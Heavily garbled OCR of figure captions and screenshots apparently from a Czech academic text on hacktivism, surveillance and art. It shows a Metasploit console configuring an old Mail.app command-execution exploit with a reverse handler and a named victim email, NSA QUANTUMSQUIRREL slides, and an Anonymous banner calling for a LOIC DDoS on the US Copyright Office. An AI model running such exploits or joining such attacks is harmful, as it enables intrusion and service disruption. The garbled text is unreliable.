[root@ip-172-31-26-162 ec2-user]# docker attach meta_metasploit_1
msf exploit{mailapp_image_exec) > run
[*] Exploit running as background job,
msf exploit(mailapp_image_exec) >
1 Handler failed to bind to 52,57.0.44:4444
[*] Started reverse handler on 0,0,0.0:4444
[*] Waiting for a payload session {(backgrounding),..

[rootRip=172-31-26-162 ec2-user]# docker attach meta_netasploit_1
nsf exploit{mailapp_image_exec) > info

Name: Hail,app Inage Attachment Command Execution
Hodule: exploit/osx/enatl/nailapp_inage_exec
Flatforn: Unix, 05K
Privileged: No
Licenses Metasploit Framework License (BSD)
Rank: Hanual
Disclosed; 2006-03-01

Provided by:
hdn <hdnBnetasploit,con>
KF <kf_listedigitalnunition,con>

fuailable targets:
1d

0 Mail.app - Comnand Payloads
1 Mail.app - Binary Payloads (x86)
2 Mail.app - Binary Pagloads (ppc)

Basic options:

Current Setbing  Fequired Description

TATE no Override the DATE: field uith this val
ue

TOHAIN no SHTP Donain to EHLO to

WAILFRON  lsdeBlsde.org yes The FRON address of the e-nail

HA nilosBskolskaZB.cz yes The T0 address of the email

PASS| no SHTP Passuord for sending email

RHOST  172.17.0.1 yes The SHTP server to send throush

RFORT 25 ez The SHTP server port (2.g. 23, 465, 58
7. 252

SUBJECT  bakala vZ yes Subject 1ine of the enail

USER) fo SHTP Usernane for sending enail

VERBDSE  false no Display verbose infornation

Payload information:
Space:
fAvoid: O characters

Descriptions
This module exploits a command execution wulnerability in the
Hail.app application shipped with Mac 05 X 10,50, This flaw vas
patched in 10,4 in Harch of 2007, but reintroduced into the final
release of 10.5,

References:
https/ fevedetails, com/oue/2006-0395/
https/ fevedetails, com/owe/2007-5165/
http:/fuua, osudb, org 40875
https /A, seeuri tufocus, con/bid/26510
https /fw, seeuri tufocus, con/bid 16907

nsf exploiti{mailapp_image_exec) > |

Obr. 10: Priklad cileného utoku na obét pomoci ndstroje Metasploit.

Obr. 11: bienale.py jako objekt v
instalaci.

Obr 12: Kufrﬂ<z performance Men in Grey

Obr. 13: Autonomy Cube
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TS//SI//REL to USA, FVEY TS//SI//REL to USA, FVEY TS//SI//REL to USA, FVEY

«ren iPhone Location Services «/rew iPhone Location Services @iren iPhone Location Services
(U) Who knew in (U) ...that this would (U)...and the
1984... be big brother... zombies would be

paying customers?

TS/SV/REL to USA, FVEY TS//SV/REL to USA, FVEY TSUSURELIOIUSAIRYEY

Obr. 14: Listy z prezentace NSA programu QUANTUMSQUIRREL

« (TS//SI/REL) QUANTUMSQUIRREL

= Truly cover infrastructure, be any IP in the \gvorh:l‘

O-c Y-

TOP BE BAETICONINTLHEL 10 LS, FVEn: SR8

LOIC (Low Orbit Ion Cannon)

IRC

Target URL:

Requests per second: [[[00]

Obr. 17: List z prezentace NSA Obr. 15: Logo uskupeni Rt
programu Anonymous B

QUANTUMSQUIRREL

Your IP address: §0.74.101.132
Online Anons: BT

Greetings, _
fellow anons. #operationpayback

. . Quick Chat
We have an new target in our movement against hitp://anonops.net/irc.php

anti-piracy organizations across the globe.

& U.S. Copyright Office &
US EDT - 1100

US PDT - 0800 i Y <
D D

COPYRIGHT.gov/140.147.249.7

us CDT - 0900
UTC/GMT - 1500
Our weapon of choice: AU EDT - 0200

Low Orbit lon Cannon (Windows)
https://github.com/NewEraCracker/LOIC/downloads

we are legion g

Obr. 18: Banner Anonymﬁs kte‘r)% zve do zapojeni do akce.
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Guess w0t? got access? Read the message

Obr. 19: Priklady intervenci pod hlavickou Electronic Intifada
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